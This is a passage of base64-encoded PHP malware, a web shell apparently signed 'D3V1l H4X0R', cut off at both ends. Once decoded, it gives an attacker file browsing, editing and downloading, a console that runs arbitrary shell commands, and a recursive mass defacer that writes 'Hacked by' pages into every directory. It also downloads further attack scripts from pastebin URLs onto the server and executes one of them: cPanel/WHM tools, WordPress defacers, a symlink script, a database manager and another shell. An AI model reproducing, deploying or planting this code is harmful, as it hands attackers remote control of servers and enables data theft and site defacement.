nB1dCB0eXBlPWNoZWNrYm94IG5hbWU9YWpheCB2YWx1ZT0xICIuKCRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddPydjaGVja2VkJzonJykuIj4gc2VuZCB1c2luZyBBSkFYPGJyPjx0ZXh0YXJlYSBuYW1lPSdpbnB1dCcgc3R5bGU9J21hcmdpbi10b3A6NXB4JyBjbGFzcz1iaWdhcmVhPiIuaHRtbHNwZWNpYWxjaGFycyhAJF9QT1NUWydwMiddKS4iPC90ZXh0YXJlYT48L2Zvcm0+PHByZSBjbGFzcz0nbWwxJyBzdHlsZT0nIi4oZW1wdHkoJF9QT1NUWydwMSddKT8nZGlzcGxheTpub25lOyc6JycpLiJtYXJnaW4tdG9wOjVweCcgaWQ9J3N0ck91dHB1dCc+IjsKaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsKaWYoZnVuY3Rpb25fZXhpc3RzKCRfUE9TVFsncDEnXSkpCmVjaG8gaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AxJ10oJF9QT1NUWydwMiddKSk7Cn0KZWNobyI8L3ByZT48L2Rpdj4iOwpwcmludEZvb3RlcigpOwp9CmZ1bmN0aW9uIGFjdGlvbkZpbGVzVG9vbHMoKSB7CmlmKCBpc3NldCgkX1BPU1RbJ3AxJ10pICkKJF9QT1NUWydwMSddID0gdXJsZGVjb2RlKCRfUE9TVFsncDEnXSk7CmlmKEAkX1BPU1RbJ3AyJ109PSdkb3dubG9hZCcpIHsKaWYoaXNfZmlsZSgkX1BPU1RbJ3AxJ10pICYmIGlzX3JlYWRhYmxlKCRfUE9TVFsncDEnXSkpIHsKb2Jfc3RhcnQoIm9iX2d6aGFuZGxlciIsIDQwOTYpOwpoZWFkZXIoIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSIuYmFzZW5hbWUoJF9QT1NUWydwMSddKSk7CmlmIChmdW5jdGlvbl9leGlzdHMoIm1pbWVfY29udGVudF90eXBlIikpIHsKJHR5cGUgPSBAbWltZV9jb250ZW50X3R5cGUoJF9QT1NUWydwMSddKTsKaGVhZGVyKCJDb250ZW50LVR5cGU6ICIuJHR5cGUpOwp9CiRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICJyIik7CmlmKCRmcCkgewp3aGlsZSghQGZlb2YoJGZwKSkKZWNobyBAZnJlYWQoJGZwLCAxMDI0KTsKZmNsb3NlKCRmcCk7Cn0KfSBlbHNlaWYoaXNfZGlyKCRfUE9TVFsncDEnXSkgJiYgaXNfcmVhZGFibGUoJF9QT1NUWydwMSddKSkgewp9CmV4aXQ7Cn0KaWYoIEAkX1BPU1RbJ3AyJ10gPT0gJ21rZmlsZScgKSB7CmlmKCFmaWxlX2V4aXN0cygkX1BPU1RbJ3AxJ10pKSB7CiRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICd3Jyk7CmlmKCRmcCkgewokX1BPU1RbJ3AyJ10gPSAiZWRpdCI7CmZjbG9zZSgkZnApOwp9Cn0KfQpwcmludEhlYWRlcigpOwplY2hvICc8aDE+RmlsZSB0b29sczwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7CmlmKCAhZmlsZV9leGlzdHMoQCRfUE9TVFsncDEnXSkgKSB7CmVjaG8gJ0ZpbGUgbm90IGV4aXN0cyc7CnByaW50Rm9vdGVyKCk7CnJldHVybjsKfQokdWlkID0gQHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJF9QT1NUWydwMSddKSk7CiRnaWQgPSBAcG9zaXhfZ2V0Z3JnaWQoQGZpbGVvd25lcigkX1BPU1RbJ3AxJ10pKTsKZWNobyAnPHNwYW4+TmFtZTo8L3NwYW4+ICcuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AxJ10pLicgPHNwYW4+U2l6ZTo8L3NwYW4+ICcuKGlzX2ZpbGUoJF9QT1NUWydwMSddKT92aWV3U2l6ZShmaWxlc2l6ZSgkX1BPU1RbJ3AxJ10pKTonLScpLicgPHNwYW4+UGVybWlzc2lvbjo8L3NwYW4+ICcudmlld1Blcm1zQ29sb3IoJF9QT1NUWydwMSddKS4nIDxzcGFuPk93bmVyL0dyb3VwOjwvc3Bhbj4gJy4kdWlkWyduYW1lJ10uJy8nLiRnaWRbJ25hbWUnXS4nPGJyPic7CmVjaG8gJzxzcGFuPkNyZWF0ZSB0aW1lOjwvc3Bhbj4gJy5kYXRlKCdZLW0tZCBIOmk6cycsZmlsZWN0aW1lKCRfUE9TVFsncDEnXSkpLicgPHNwYW4+QWNjZXNzIHRpbWU6PC9zcGFuPiAnLmRhdGUoJ1ktbS1kIEg6aTpzJyxmaWxlYXRpbWUoJF9QT1NUWydwMSddKSkuJyA8c3Bhbj5Nb2RpZnkgdGltZTo8L3NwYW4+ICcuZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVtdGltZSgkX1BPU1RbJ3AxJ10pKS4nPGJyPjxicj4nOwppZiggZW1wdHkoJF9QT1NUWydwMiddKSApCiRfUE9TVFsncDInXSA9ICd2aWV3JzsKaWYoIGlzX2ZpbGUoJF9QT1NUWydwMSddKSApCiRtID0gYXJyYXkoJ1ZpZXcnLCAnSGlnaGxpZ2h0JywgJ0Rvd25sb2FkJywgJ0hleGR1bXAnLCAnRWRpdCcsICdDaG1vZCcsICdSZW5hbWUnLCAnVG91Y2gnKTsKZWxzZQokbSA9IGFycmF5KCdDaG1vZCcsICdSZW5hbWUnLCAnVG91Y2gnKTsKZm9yZWFjaCgkbSBhcyAkdikKZWNobyAnPGEgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxsLG51bGwsXCcnLnN0cnRvbG93ZXIoJHYpLidcJykiPicuKChzdHJ0b2xvd2VyKCR2KT09QCRfUE9TVFsncDInXSk/JzxiPlsgJy4kdi4nIF08L2I+JzokdikuJzwvYT4gJzsKZWNobyAnPGJyPjxicj4nOwpzd2l0Y2goJF9QT1NUWydwMiddKSB7CmNhc2UgJ3ZpZXcnOgplY2hvICc8cHJlIGNsYXNzPW1sMT4nOwokZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCAncicpOwppZigkZnApIHsKd2hpbGUoICFAZmVvZigkZnApICkKZWNobyBodG1sc3BlY2lhbGNoYXJzKEBmcmVhZCgkZnAsIDEwMjQpKTsKQGZjbG9zZSgkZnApOwp9CmVjaG8gJzwvcHJlPic7CmJyZWFrOwpjYXNlICdoaWdobGlnaHQnOgppZiggaXNfcmVhZGFibGUoJF9QT1NUWydwMSddKSApIHsKZWNobyAnPGRpdiBjbGFzcz1tbDEgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IGJsYWNrO2NvbG9yOmJsYWNrOyI+JzsKJGNvZGUgPSBoaWdobGlnaHRfZmlsZSgkX1BPU1RbJ3AxJ10sdHJ1ZSk7CmVjaG8gc3RyX3JlcGxhY2UoYXJyYXkoJzxzcGFuICcsJzwvc3Bhbj4nKSwgYXJyYXkoJzxmb250ICcsJzwvZm9udD4nKSwkY29kZSkuJzwvZGl2Pic7Cn0KYnJlYWs7CmNhc2UgJ2NobW9kJzoKaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgewokcGVybXMgPSAwOwpmb3IoJGk9c3RybGVuKCRfUE9TVFsncDMnXSktMTskaT49MDstLSRpKQokcGVybXMgKz0gKGludCkkX1BPU1RbJ3AzJ11bJGldKnBvdyg4LCAoc3RybGVuKCRfUE9TVFsncDMnXSktJGktMSkpOwppZighQGNobW9kKCRfUE9TVFsncDEnXSwgJHBlcm1zKSkKZWNobyAnQ2FuXCd0IHNldCBwZXJtaXNzaW9ucyE8YnI+PHNjcmlwdD5kb2N1bWVudC5tZi5wMy52YWx1ZT0iIjs8L3NjcmlwdD4nOwplbHNlCmRpZSgnPHNjcmlwdD5nKG51bGwsbnVsbCxudWxsLG51bGwsIiIpPC9zY3JpcHQ+Jyk7Cn0KZWNobyAnPGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLG51bGwsbnVsbCx0aGlzLmNobW9kLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48aW5wdXQgdHlwZT10ZXh0IG5hbWU9Y2htb2QgdmFsdWU9Iicuc3Vic3RyKHNwcmludGYoJyVvJywgZmlsZXBlcm1zKCRfUE9TVFsncDEnXSkpLC00KS4nIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsKYnJlYWs7CmNhc2UgJ2VkaXQnOgppZiggIWlzX3dyaXRhYmxlKCRfUE9TVFsncDEnXSkpIHsKZWNobyAnRmlsZSBpc25cJ3Qgd3JpdGVhYmxlJzsKYnJlYWs7Cn0KaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgewpAZmlsZV9wdXRfY29udGVudHMoJF9QT1NUWydwMSddLCRfUE9TVFsncDMnXSk7CmVjaG8gJ1NhdmVkITxicj48c2NyaXB0PmRvY3VtZW50Lm1mLnAzLnZhbHVlPSIiOzwvc2NyaXB0Pic7Cn0KZWNobyAnPGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLG51bGwsbnVsbCx0aGlzLnRleHQudmFsdWUpO3JldHVybiBmYWxzZTsiPjx0ZXh0YXJlYSBuYW1lPXRleHQgY2xhc3M9YmlnYXJlYT4nOwokZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCAncicpOwppZigkZnApIHsKd2hpbGUoICFAZmVvZigkZnApICkKZWNobyBodG1sc3BlY2lhbGNoYXJzKEBmcmVhZCgkZnAsIDEwMjQpKTsKQGZjbG9zZSgkZnApOwp9CmVjaG8gJzwvdGV4dGFyZWE+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7CmJyZWFrOwpjYXNlICdoZXhkdW1wJzoKJGMgPSBAZmlsZV9nZXRfY29udGVudHMoJF9QT1NUWydwMSddKTsKJG4gPSAwOwokaCA9IGFycmF5KCcwMDAwMDAwMDxicj4nLCcnLCcnKTsKJGxlbiA9IHN0cmxlbigkYyk7CmZvciAoJGk9MDsgJGk8JGxlbjsgKyskaSkgewokaFsxXSAuPSBzcHJpbnRmKCclMDJYJyxvcmQoJGNbJGldKSkuJyAnOwpzd2l0Y2ggKCBvcmQoJGNbJGldKSApIHsKY2FzZSAwOiRoWzJdIC49ICcgJzsgYnJlYWs7CmNhc2UgOTokaFsyXSAuPSAnICc7IGJyZWFrOwpjYXNlIDEwOiAkaFsyXSAuPSAnICc7IGJyZWFrOwpjYXNlIDEzOiAkaFsyXSAuPSAnICc7IGJyZWFrOwpkZWZhdWx0OiAkaFsyXSAuPSAkY1skaV07IGJyZWFrOwp9CiRuKys7CmlmICgkbiA9PSAzMikgewokbiA9IDA7CmlmICgkaSsxIDwgJGxlbikgeyRoWzBdIC49IHNwcmludGYoJyUwOFgnLCRpKzEpLic8YnI+Jzt9CiRoWzFdIC49ICc8YnI+JzsKJGhbMl0gLj0gIlxuIjsKfQogfQplY2hvICc8dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz01IGJnY29sb3I9I3JlZD48dHI+PHRkIGJnY29sb3I9cmVkPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDogbm9ybWFsOyI+PHByZT4nLiRoWzBdLic8L3ByZT48L3NwYW4+PC90ZD48dGQgYmdjb2xvcj0jcmVkPjxwcmU+Jy4kaFsxXS4nPC9wcmU+PC90ZD48dGQgYmdjb2xvcj0jcmVkPjxwcmU+Jy5odG1sc3BlY2lhbGNoYXJzKCRoWzJdKS4nPC9wcmU+PC90ZD48L3RyPjwvdGFibGU+JzsKYnJlYWs7CmNhc2UgJ3JlbmFtZSc6CmlmKCAhZW1wdHkoJF9QT1NUWydwMyddKSApIHsKaWYoIUByZW5hbWUoJF9QT1NUWydwMSddLCAkX1BPU1RbJ3AzJ10pKQplY2hvICdDYW5cJ3QgcmVuYW1lITxicj48c2NyaXB0PmRvY3VtZW50Lm1mLnAzLnZhbHVlPSIiOzwvc2NyaXB0Pic7CmVsc2UKZGllKCc8c2NyaXB0PmcobnVsbCxudWxsLCInLnVybGVuY29kZSgkX1BPU1RbJ3AzJ10pLiciLG51bGwsIiIpPC9zY3JpcHQ+Jyk7Cn0KZWNobyAnPGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLG51bGwsbnVsbCx0aGlzLm5hbWUudmFsdWUpO3JldHVybiBmYWxzZTsiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1uYW1lIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKS4nIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsKYnJlYWs7CmNhc2UgJ3RvdWNoJzoKaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgewokdGltZSA9IHN0cnRvdGltZSgkX1BPU1RbJ3AzJ10pOwppZigkdGltZSkgewppZihAdG91Y2goJF9QT1NUWydwMSddLCR0aW1lLCR0aW1lKSkKZGllKCc8c2NyaXB0PmcobnVsbCxudWxsLG51bGwsbnVsbCwiIik8L3NjcmlwdD4nKTsKZWxzZSB7CmVjaG8gJ0ZhaWwhPHNjcmlwdD5kb2N1bWVudC5tZi5wMy52YWx1ZT0iIjs8L3NjcmlwdD4nOwp9Cn0gZWxzZSBlY2hvICdCYWQgdGltZSBmb3JtYXQhPHNjcmlwdD5kb2N1bWVudC5tZi5wMy52YWx1ZT0iIjs8L3NjcmlwdD4nOwp9CmVjaG8gJzxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxudWxsLG51bGwsdGhpcy50b3VjaC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXRvdWNoIHZhbHVlPSInLmRhdGUoIlktbS1kIEg6aTpzIiwgQGZpbGVtdGltZSgkX1BPU1RbJ3AxJ10pKS4nIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsKYnJlYWs7CmNhc2UgJ21rZmlsZSc6CmJyZWFrOwp9CmVjaG8gJzwvZGl2Pic7CnByaW50Rm9vdGVyKCk7Cn0KZnVuY3Rpb24gYWN0aW9uRGVmYWNlcigpIHsKcHJpbnRIZWFkZXIoKTsKZWNobyAiPGgxPlJlY3Vyc2l2ZSBNYXNzIERlZmFjZXI8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4iOwo/Pgo8Zm9ybSBFTkNUWVBFPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBhY3Rpb249Ijw/JF9TRVJWRVJbJ1BIUF9TRUxGJ10/PiIgbWV0aG9kPVBPU1Qgb25TdWJtaXQ9ImcobnVsbCxudWxsLHRoaXMucGF0aC52YWx1ZSx0aGlzLmZpbGUudmFsdWUsdGhpcy5Db250ZW50cy52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+CjxwIGFsaWduPSJMZWZ0Ij5Gb2xkZXI6IDxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXRoIHNpemU9NjAgdmFsdWU9Ijw/PWdldGN3ZCgpOyA/PiI+Cjxicj5maWxlIG5hbWUgOiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9ZmlsZSBzaXplPTIwIHZhbHVlPSJpbmRleC5waHAiPgo8YnI+VGV4dCBDb250ZW50IDogPGlucHV0IHR5cGU9dGV4dCBuYW1lPUNvbnRlbnRzIHNpemU9MjAgdmFsdWU9IkhhY2tlZCBieSBEM1YxbCBINFgwUiI+IAo8YnI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSJVcGRhdGUiPjwvcD48L2Zvcm0+Cjw/cGhwCmlmICgkX1BPU1RbJ2EnXSA9PSAnRGVmYWNlcicpIHsKJG1haW5wYXRoID0gJF9QT1NUW3AxXTsKJGZpbGUgPSAkX1BPU1RbcDJdOwokdHh0Q29udGVudHMgPSAkX1BPU1RbcDNdOwplY2hvICItLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLTxicj4KWytdIFJlY3Vyc2l2ZSBNYXNzIGRlZmFjZXI8YnI+Ci0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tPGJyPjxicj4gIjsKJGRpciA9IG9wZW5kaXIoJG1haW5wYXRoKTsKd2hpbGUgKCRyb3cgPSByZWFkZGlyKCRkaXIpKSB7CiRzdGFydCA9IEBmb3BlbigiJHJvdy8kZmlsZSIsICJ3KyIpOwokY29kZSA9ICR0eHRDb250ZW50czsKJGZpbmlzaCA9IEBmd3JpdGUoJHN0YXJ0LCAkY29kZSk7CmlmICgkZmluaXNoKSB7CmVjaG8gImh0dHA6Ly8kcm93LyRmaWxlPGJyPiI7Cn0KaWYgKHN0cm5jYXNlY21wKFBIUF9PUywgJ1dJTicsIDMpID09IDApIHsKZXhlYygiZm9yIC9yICVjZCUgJWkgaW4gKC4pIGRvIEBjb3B5ICRmaWxlICVpIDE+TlVMIik7Cn0gZWxzZSB7CnN5c3RlbSgiZmluZCAkUFdNIC10eXBlIGQgLWV4ZWMgY3AgJGZpbGUge30gXDsiKTsKfQp9CmVjaG8gIi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tPGJyPjxicj5bK10gU2NyaXB0IEJ5IEQzVjFsIEg0WDBSIFsrXSI7Cn0KZWNobyAnPC9kaXY+JzsKcHJpbnRGb290ZXIoKTsKfQpmdW5jdGlvbiBhY3Rpb25Db25zb2xlKCkgewppZihpc3NldCgkX1BPU1RbJ2FqYXgnXSkpIHsKJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10gPSB0cnVlOwpvYl9zdGFydCgpOwplY2hvICJkb2N1bWVudC5jZi5jbWQudmFsdWU9Jyc7XG4iOwokdGVtcCA9IEBpY29udigkX1BPU1RbJ2NoYXJzZXQnXSwgJ1VURi04JywgYWRkY3NsYXNoZXMoIlxuJCAiLiRfUE9TVFsncDEnXS4iXG4iLmV4KCRfUE9TVFsncDEnXSksIlxuXHJcdFxcJ1wwIikpOwppZihwcmVnX21hdGNoKCIhLipjZFxzKyhbXjtdKykkISIsJF9QT1NUWydwMSddLCRtYXRjaCkpewppZihAY2hkaXIoJG1hdGNoWzFdKSkgewokR0xPQkFMU1snY3dkJ10gPSBAZ2V0Y3dkKCk7CmVjaG8gImRvY3VtZW50Lm1mLmMudmFsdWU9JyIuJEdMT0JBTFNbJ2N3ZCddLiInOyI7Cn0KfQplY2hvICJkb2N1bWVudC5jZi5vdXRwdXQudmFsdWUrPSciLiR0ZW1wLiInOyI7CmVjaG8gImRvY3VtZW50LmNmLm91dHB1dC5zY3JvbGxUb3AgPSBkb2N1bWVudC5jZi5vdXRwdXQuc2Nyb2xsSGVpZ2h0OyI7CiR0ZW1wID0gb2JfZ2V0X2NsZWFuKCk7CmVjaG8gc3RybGVuKCR0ZW1wKSwgIlxuIiwgJHRlbXA7CmV4aXQ7Cn0KcHJpbnRIZWFkZXIoKTsKZWNobyAnPHNjcmlwdD4KaWYod2luZG93LkV2ZW50KSB3aW5kb3cuY2FwdHVyZUV2ZW50cyhFdmVudC5LRVlET1dOKTsKdmFyIGNtZHMgPSBuZXcgQXJyYXkoIiIpOwp2YXIgY3VyID0gMDsKZnVuY3Rpb24ga3AoZSkgewp2YXIgbiA9ICh3aW5kb3cuRXZlbnQpID8gZS53aGljaCA6IGUua2V5Q29kZTsKaWYobiA9PSAzOCkgewpjdXItLTsKaWYoY3VyPj0wKQpkb2N1bWVudC5jZi5jbWQudmFsdWUgPSBjbWRzW2N1cl07CmVsc2UKY3VyKys7Cn0gZWxzZSBpZihuID09IDQwKSB7CmN1cisrOwppZihjdXIgPCBjbWRzLmxlbmd0aCkKZG9jdW1lbnQuY2YuY21kLnZhbHVlID0gY21kc1tjdXJdOwplbHNlCmN1ci0tOwp9Cn0KZnVuY3Rpb24gYWRkKGNtZCkgewpjbWRzLnBvcCgpOwpjbWRzLnB1c2goY21kKTsKY21kcy5wdXNoKCIiKTsKY3VyID0gY21kcy5sZW5ndGgtMTsKfQo8L3NjcmlwdD4nOwplY2hvICc8aDE+Q29uc29sZTwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pjxmb3JtIG5hbWU9Y2Ygb25zdWJtaXQ9ImlmKGRvY3VtZW50LmNmLmNtZC52YWx1ZT09XCdjbGVhclwnKXtkb2N1bWVudC5jZi5vdXRwdXQudmFsdWU9XCdcJztkb2N1bWVudC5jZi5jbWQudmFsdWU9XCdcJztyZXR1cm4gZmFsc2U7fWFkZCh0aGlzLmNtZC52YWx1ZSk7aWYodGhpcy5hamF4LmNoZWNrZWQpe2EobnVsbCxudWxsLHRoaXMuY21kLnZhbHVlKTt9ZWxzZXtnKG51bGwsbnVsbCx0aGlzLmNtZC52YWx1ZSk7fSByZXR1cm4gZmFsc2U7Ij48c2VsZWN0IG5hbWU9YWxpYXM+JzsKZm9yZWFjaCgkR0xPQkFMU1snYWxpYXNlcyddIGFzICRuID0+ICR2KSB7CmlmKCR2ID09ICcnKSB7CmVjaG8gJzxvcHRncm91cCBsYWJlbD0iLScuaHRtbHNwZWNpYWxjaGFycygkbikuJy0iPjwvb3B0Z3JvdXA+JzsKY29udGludWU7Cn0KZWNobyAnPG9wdGlvbiB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCR2KS4nIj4nLiRuLic8L29wdGlvbj4nOwp9CmlmKGVtcHR5KCRfUE9TVFsnYWpheCddKSYmIWVtcHR5KCRfUE9TVFsncDEnXSkpCiRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddID0gZmFsc2U7CmVjaG8gJzwvc2VsZWN0PjxpbnB1dCB0eXBlPWJ1dHRvbiBvbmNsaWNrPSJhZGQoZG9jdW1lbnQuY2YuYWxpYXMudmFsdWUpO2lmKGRvY3VtZW50LmNmLmFqYXguY2hlY2tlZCl7YShudWxsLG51bGwsZG9jdW1lbnQuY2YuYWxpYXMudmFsdWUpO31lbHNle2cobnVsbCxudWxsLGRvY3VtZW50LmNmLmFsaWFzLnZhbHVlKTt9IiB2YWx1ZT0iPj4iPiA8aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPWFqYXggdmFsdWU9MSAnLigkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXT8nY2hlY2tlZCc6JycpLic+IHNlbmQgdXNpbmcgQUpBWDxici8+PHRleHRhcmVhIGNsYXNzPWJpZ2FyZWEgbmFtZT1vdXRwdXQgc3R5bGU9ImJvcmRlci1ib3R0b206MDsiIHJlYWRvbmx5Pic7CmlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7CmVjaG8gaHRtbHNwZWNpYWxjaGFycygiJCAiLiRfUE9TVFsncDEnXS4iXG4iLmV4KCRfUE9TVFsncDEnXSkpOwp9CmVjaG8gJzwvdGV4dGFyZWE+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWNtZCBzdHlsZT0iYm9yZGVyLXRvcDoxO3dpZHRoOjEwMCU7IiBvbmtleWRvd249ImtwKGV2ZW50KTsiPic7CmVjaG8gJzwvZm9ybT48L2Rpdj48c2NyaXB0PmRvY3VtZW50LmNmLmNtZC5mb2N1cygpOzwvc2NyaXB0Pic7CnByaW50Rm9vdGVyKCk7Cn0KZnVuY3Rpb24gYWN0aW9uTG9nb3V0KCkgewp1bnNldCgkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldKTsKZWNobyAnPHRpdGxlPkdldCBvdXQgTm93PC90aXRsZT48Ym9keSBiZ2NvbG9yPSMwMDAwMDA+PGNlbnRlcj48aW1nIHNyYz0iaHR0cHM6Ly90aGVoYWNrcG9zdGNvbS1ub25lMTQwNTg2OTYzOS5uZXRkbmEtc3NsLmNvbS93cC1jb250ZW50L3VwbG9hZHMvMjAxNy8wMi9wY3MuanBnIj48YnI+CjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+Ym9keSwgYTpob3ZlciB7Y3Vyc29yOiB1cmwoaHR0cDovL2N1ci5jdXJzb3JzLTR1Lm5ldC9jdXJzb3JzL2N1ci0xMS9jdXIxMDU0LmN1ciksIHByb2dyZXNzICFpbXBvcnRhbnQ7fTwvc3R5bGU+PGEgaHJlZj0iaHR0cDovL3d3dy5jdXJzb3JzLTR1LmNvbS9jdXJzb3IvMjAxMi8wMi8xMS9jaHJvbWUtcG9pbnRlci5odG1sIiB0YXJnZXQ9Il9ibGFuayIgdGl0bGU9IkNocm9tZSBQb2ludGVyIj48aW1nIHNyYz0iaHR0cDovL2N1ci5jdXJzb3JzLTR1Lm5ldC9jdXJzb3IucG5nIiBib3JkZXI9IjAiIGFsdD0iQ2hyb21lIFBvaW50ZXIiIHN0eWxlPSJwb3NpdGlvbjphYnNvbHV0ZTsgdG9wOiAwcHg7IHJpZ2h0OiAwcHg7IiAvPjwvYT4KPHNwYW4gc3R5bGU9ImNvbG9yOnJlZDtmb250OiAyMHB0IGF1ZGlvd2lkZTsiPllvdXIgYXJlIG91dCBub3cgOkQ8YnI+d3d3LmZhY2Vib29rLmNvbS9EM1ZpbC5INFgwUjwvaDI+PC9zcGFuPjwvY2VudGVyPjwvYm9keT4nOwp9Ci8vL215IGVkaXRpbmcgc3RhcnQgaGVyZSBmb3IgdG9vbHMKZnVuY3Rpb24gZG93bmxvYWRfcmVtb3RlX2ZpbGUoJGZpbGVfdXJsLCAkc2F2ZV90bykKewokY29udGVudCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlX3VybCk7CmZpbGVfcHV0X2NvbnRlbnRzKCRzYXZlX3RvLCAkY29udGVudCk7Cn0KaWYgKGlzc2V0KCRfUE9TVFsnY3AnXSkpIHsKZG93bmxvYWRfcmVtb3RlX2ZpbGUoJ2h0dHA6Ly9wYXN0ZWJpbi5jb20vcmF3L3B1VkpXNWYxJywgcmVhbHBhdGgoIi4vIikgLiAnL2NwLnBocCcpOwpoZWFkZXIoImxvY2F0aW9uOmNwLnBocCIpOwp9IAppZiAoaXNzZXQoJF9QT1NUWyd3aG0nXSkpIHsKZG93bmxvYWRfcmVtb3RlX2ZpbGUoJ2h0dHA6Ly9wYXN0ZWJpbi5jb20vcmF3LnBocD9pPVhKQnA3TTE0JywgcmVhbHBhdGgoIi4vIikgLiAnL3dobS5waHAnKTsKaGVhZGVyKCJsb2NhdGlvbjp3aG0ucGhwIik7Cn0KaWYgKGlzc2V0KCRfUE9TVFsnbWFzcyddKSkgewpkb3dubG9hZF9yZW1vdGVfZmlsZSgnaHR0cDovL3Bhc3RlYmluLmNvbS9yYXcucGhwP2k9dHFLc3pSTlgnLCByZWFscGF0aCgiLi8iKSAuICcvd3AtZGVmYWNlci5waHAnKTsKaGVhZGVyKCJsb2NhdGlvbjp3cC1kZWZhY2VyLnBocCIpOwp9CmlmIChpc3NldCgkX1BPU1RbJ1N5bWxpbmtieUQzVjFsJ10pKSB7CmRvd25sb2FkX3JlbW90ZV9maWxlKCdodHRwOi8vcGFzdGViaW4uY29tL3Jhdy5waHA/aT1kZW1FN0JBTicsIHJlYWxwYXRoKCIuLyIpIC4gJy9zeW0ucHknKTsKJHVybCA9ICdodHRwOi8vJyAuICRfU0VSVkVSWydTRVJWRVJfTkFNRSddIC4gZGlybmFtZSgkX1NFUlZFUlsnU0NSSVBUX05BTUUnXSkgLiAnL0RldmlsSGF4b3IvJzsKaGVhZGVyKCdsb2NhdGlvbjogJy4kdXJsKTsKc3lzdGVtKCdweXRob24gc3ltLnB5Jyk7Cn0KaWYgKGlzc2V0KCRfUE9TVFsnd3AnXSkpIHsKZG93bmxvYWRfcmVtb3RlX2ZpbGUoJ2h0dHA6Ly9wYXN0ZWJpbi5jb20vcmF3LzNiOFJHVXdQJywgcmVhbHBhdGgoIi4vIikgLiAnL3dwbWFzcy5waHAnKTsKaGVhZGVyKCJsb2NhdGlvbjp3cG1hc3MucGhwIik7Cn0KaWYgKGlzc2V0KCRfUE9TVFsnZGJraXNzJ10pKSB7CmRvd25sb2FkX3JlbW90ZV9maWxlKCdodHRwOi8vcGFzdGViaW4uY29tL3Jhdy9kOVB1NTdlOScsIHJlYWxwYXRoKCIuLyIpIC4gJy9kYmtpc3MucGhwJyk7CmhlYWRlcigibG9jYXRpb246ZGJraXNzLnBocCIpOwp9CmlmIChpc3NldCgkX1BPU1RbJ2NnJ10pKSB7CmRvd25sb2FkX3JlbW90ZV9maWxlKCdodHRwOi8vcGFzdGViaW4uY29tL3Jhdy9nTlY4RGppeScsIHJlYWxwYXRoKCIuLyIpIC4gJy9jZy5waHAnKTsKaGVhZGVyKCJsb2NhdGlvbjpjZy5waHAiKTsKfQppZiAoaXNzZXQoJF9QT1NUWyd6b25lLWgnXSkpIHsKZG93bmxvYWRfcmVtb3RlX2ZpbGUoJ2h0dHA6Ly9wYXN0ZWJpbi5jb20vcmF3L3BlTXdKWERYJywgcmVhbHBhdGgoIi4vIikgLiAnL3pvbmUucGhwJyk7CmhlYWRlcigibG9jYXRpb246em9uZS5waHAiKTsKfQppZiAoaXNzZXQoJF9QT1NUWyc0MDQtc2hlbGwnXSkpIHsKZG93bmxvYWRfcmVtb3RlX2ZpbGUoJ2h0dHA6Ly9wYXN0ZWJpbi5jb20vcmF3L3R0dndaZDFpJywgcmVhbHBhdGgoIi4vIikgLiAnLzQwNC5waHAn